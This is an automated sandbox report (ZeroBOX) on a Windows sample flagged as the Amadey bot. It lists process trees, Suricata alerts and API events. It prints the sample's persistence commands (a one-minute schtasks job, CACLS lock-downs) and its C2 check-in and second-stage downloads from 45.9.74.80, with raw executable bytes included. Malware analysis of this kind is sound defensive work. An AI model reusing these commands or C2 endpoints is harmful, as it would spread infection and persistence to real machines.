Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 1, 2023, 4:14 p.m.	Aug. 1, 2023, 4:17 p.m.

Size	437.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`0478a63ce705230c0750bd0688cf3f89`
SHA256	`23d2138b76775d5169145dedfaff7db5bca58b481994ced84cade8490e720fc1`
CRC32	`A20D35C7`
ssdeep	`6144:tcMISrlhXavUrKSTHiZQLHlH4akLlPZmbNwqrhOyGB0faIFsi:tcr8GlSTbHNulPMbNHxG2Cosi`
Yara	Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature IsPE32 - (no description)

loa.exe "C:\Users\test22\AppData\Local\Temp\loa.exe"
2676
- newplayer.exe "C:\Users\test22\AppData\Local\Temp\newplayer.exe"
  2836
  - oneetx.exe "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe"
    2940
    - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
      3020
    - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit
      744
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        1728
      - cacls.exe CACLS "oneetx.exe" /P "test22:N"
        1264
      - cacls.exe CACLS "oneetx.exe" /P "test22:R" /E
        2212
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2264
      - cacls.exe CACLS "..\207aa4515d" /P "test22:N"
        2420
      - cacls.exe CACLS "..\207aa4515d" /P "test22:R" /E
        2364
    - 2cba948feb9c53fce4409f0079aec61c.exe "C:\Users\test22\AppData\Local\Temp\1000248001\2cba948feb9c53fce4409f0079aec61c.exe"
      2856
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
45.9.74.80	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	A Network Trojan was detected
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2014819	ET INFO Packed Executable Download	Misc activity
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 45.9.74.80:80 -> 192.168.56.101:49170	2014819	ET INFO Packed Executable Download	Misc activity
TCP 192.168.56.101:49170 -> 45.9.74.80:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 1, 2023, 4:14 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 1, 2023, 4:14 p.m.			0	0
IsDebuggerPresent Aug. 1, 2023, 4:14 p.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 1, 2023, 4:14 p.m.	buffer: SUCCESS: The scheduled task "oneetx.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Aug. 1, 2023, 4:14 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW Aug. 1, 2023, 4:14 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 4:14 p.m.	buffer: r console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 1, 2023, 4:14 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://45.9.74.80/0bjdn2Z/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.9.74.80/setup.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.9.74.80/toolspub2.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://45.9.74.80/2cba948feb9c53fce4409f0079aec61c.exe

Performs some HTTP requests (4 events)

request	POST http://45.9.74.80/0bjdn2Z/index.php
request	GET http://45.9.74.80/setup.exe
request	GET http://45.9.74.80/toolspub2.exe
request	GET http://45.9.74.80/2cba948feb9c53fce4409f0079aec61c.exe

Sends data using the HTTP POST Method (1 event)

request

POST http://45.9.74.80/0bjdn2Z/index.php

Allocates read-write-execute memory (usually to unpack itself) (18 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00970000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00882000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2676 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0088a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:14 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:08 p.m.	process_identifier: 1452 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000046f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 1, 2023, 4:15 p.m.	process_identifier: 2856 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4161536 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04080000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2023, 4:15 p.m.	process_identifier: 2856 region_size: 9351168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04480000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

oneetx.exe tried to sleep 122 seconds, actually delayed analysis time by 122 seconds

Creates executable files on the filesystem (5 events)

file	C:\Users\test22\AppData\Local\Temp\4ea58bae.exe
file	C:\Users\test22\AppData\Local\Temp\1000246001\setup.exe
file	C:\Users\test22\AppData\Local\Temp\1000248001\2cba948feb9c53fce4409f0079aec61c.exe
file	C:\Users\test22\AppData\Local\Temp\newplayer.exe
file	C:\Users\test22\AppData\Local\Temp\1000247001\toolspub2.exe

Creates a suspicious process (4 events)

cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F

Drops a binary and executes it (5 events)

file	C:\Users\test22\AppData\Local\Temp\4ea58bae.exe
file	C:\Users\test22\AppData\Local\Temp\newplayer.exe
file	C:\Users\test22\AppData\Local\Temp\1000246001\setup.exe
file	C:\Users\test22\AppData\Local\Temp\1000247001\toolspub2.exe
file	C:\Users\test22\AppData\Local\Temp\1000248001\2cba948feb9c53fce4409f0079aec61c.exe

Drops an executable to the user AppData folder (5 events)

file	C:\Users\test22\AppData\Local\Temp\newplayer.exe
file	C:\Users\test22\AppData\Local\Temp\1000246001\setup.exe
file	C:\Users\test22\AppData\Local\Temp\1000247001\toolspub2.exe
file	C:\Users\test22\AppData\Local\Temp\4ea58bae.exe
file	C:\Users\test22\AppData\Local\Temp\1000248001\2cba948feb9c53fce4409f0079aec61c.exe

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Aug. 1, 2023, 4:14 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe	1	1
ShellExecuteExW Aug. 1, 2023, 4:14 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Aug. 1, 2023, 4:14 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW Aug. 1, 2023, 4:14 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000246001\setup.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000246001\setup.exe	1	1
ShellExecuteExW Aug. 1, 2023, 4:14 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000247001\toolspub2.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000247001\toolspub2.exe	1	1
ShellExecuteExW Aug. 1, 2023, 4:15 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000248001\2cba948feb9c53fce4409f0079aec61c.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000248001\2cba948feb9c53fce4409f0079aec61c.exe	1	1

An executable file was downloaded by the process oneetx.exe (3 events)

Time & API	Arguments	Status	Return
InternetReadFile Aug. 1, 2023, 4:14 p.m.	buffer: MZÿÿ¸@èº´ Í!¸LÍ!This program cannot be run in DOS mode. $9÷-LX~LX~LX~R ~]X~R ~xX~R ~ X~kâ~EX~LX~ÉX~R ~MX~R ~MX~R ~MX~RichLX~PELúþaà (BÃH@@ Õ,d À¹à° 01P1@Ô.textÖ&( `.data\ßþ@,@À.rsrcÀ¹ ºD@@.relocd§à¨þ@BB2x...¢.À.Ü.ì.þ.//0/N/l///¢/¾/Ø/è/ø/0$080h.V0j000 0°0¼0Î0Þ0ð011181P1n11¤1¸1Ð1È6¸6¨6F0T.66z222¶2Î2æ2þ2 3323N3l333¢3´3À3Ò3â3ø344464D4R4`4n4z444¢4¸4Ä4Ð4à4ö4545N5h5z555¬5Æ5à5ê5ö566,6<6N6b6t6$222ô1`2Ì%Câ%Cø%CÀ%C(A@D@o¢@«@k@ÓÇ@õ@"¼d6°1°%bad allocationÿÿÿÿ¸2@3@Q?@2@^?@Q?@Unknown exception$2@$C@CorExitProcessmscoree.dllcsmà !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=:T@l2@ER@Q?@bad exception ((((( H h(((( H H ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿEncodePointerKERNEL32.DLLDecodePointerFlsFreeFlsSetValueFlsGetValueFlsAlloc(nul request_handle: 0x00cc000c	1	1
InternetReadFile Aug. 1, 2023, 4:14 p.m.	buffer: MZÿÿ¸@èº´ Í!¸LÍ!This program cannot be run in DOS mode. $9÷-LX~LX~LX~R ~]X~R ~xX~R ~ X~kâ~EX~LX~ÉX~R ~MX~R ~MX~R ~MX~RichLX~PEL>,Äbà BóH0@g ÜdÀ¹Ð° 0¨1@Ô.text `.data\ßþ0@À.rsrcÀ¹º4@@.reloc\|§Ð¨î@B#8FVb¬¾ÎØð , @ R b ~ ¬ ¼ Ì à ø (!.!D!V!d!t!!!¢!²!Â!Ü!ê!" "6"V"j"""'\|'l'!V'F'>#V#^#z##ª#Â#Î#â#ö#$0$D$X$f$x$$$¦$¼$Ò$â$î$ú$%%$%2%>%L%V%f%\|%%%¤%º%â%ø%&,&>&P&^&p&&¤&®&º&Ì&Þ&ð&''&'8'è"Ö"Ê"¸"$#B¢B¸BBXA@t@¢@À«@@È@%@=´d+2&bad allocationÿÿÿÿ3@à3@?@h2@?@?@Unknown exception\|2@TC@CorExitProcessmscoree.dllcsmà !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=jT@Ä2@uR@?@bad exception ((((( H h(((( H H ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿEncodePointerKERNEL32.DLLDecodePointerFlsFreeFlsSetValueFlsGetValueFlsAlloc(nul request_handle: 0x00cc000c	1	1
InternetReadFile Aug. 1, 2023, 4:14 p.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $» +ÿhENÿhENÿhENÛNéhENîNØhENïNhENöÖNøhENÿhDNrhENêNþhENßNþhENØNþhENRichÿhENPELÓ%cà r®+ÙT@À-¤C$uP,ð;BCx5@.text>qr `.dataÌä)?v@À.rsrcð;,<B@@ }¦w´wÌwæwöwx x8xLxhxtxxx¶xÐxÚxäxøxy.yFyXyly\|yy¨y¸yÈyÒyîyz z:zPzdzwzz´zÆzÖzêzúz{&{8{L{X{n{{{¬{À{Ø{ì{\|\|,\|<\|N\|f\|z\|\| \|¬\|Ä\|Ø\|0"vzw>}V}^}z}}ª}Â}Ò}â}î}ú}~~0~<~N~^~~~°~Î~â~ð~ü~ 2>Pf\|¢°¾ÈÞø8DNZl~°ÀÒâö}ô\|@2An2A2AV2Ab2A©O@¡^@Ü³@c·@¦@ñæ@R_@ÿÿÿÿÿÿÿÿX6@ÜE@* 6@/H@Cì6@J@ÌI@Unknown exception7@R@(8@9@ÌI@bad allocation !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=CorExitProcessmscoree.dllruntime error TLOSS error SING error DOMAIN error R6033 - Attempt to use MSIL code from this assembly during native code initialization This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. R6032 - not enough space for locale information R6031 - Attempt to initialize the CRT more than once. This indicates a bug in your application. R6030 - CRT not initialized R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data R6010 - abort() has been called R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point supp request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0006ca00', u'virtual_address': u'0x00002000', u'entropy': 7.129288202102837, u'name': u'.text', u'virtual_size': u'0x0006c854'}

entropy

7.1292882021

description

A section with a high entropy has been found

entropy

0.995418098511

description

Overall entropy of this PE file is high

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F

Communicates with host for which no DNS query was performed (1 event)

host

45.9.74.80

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

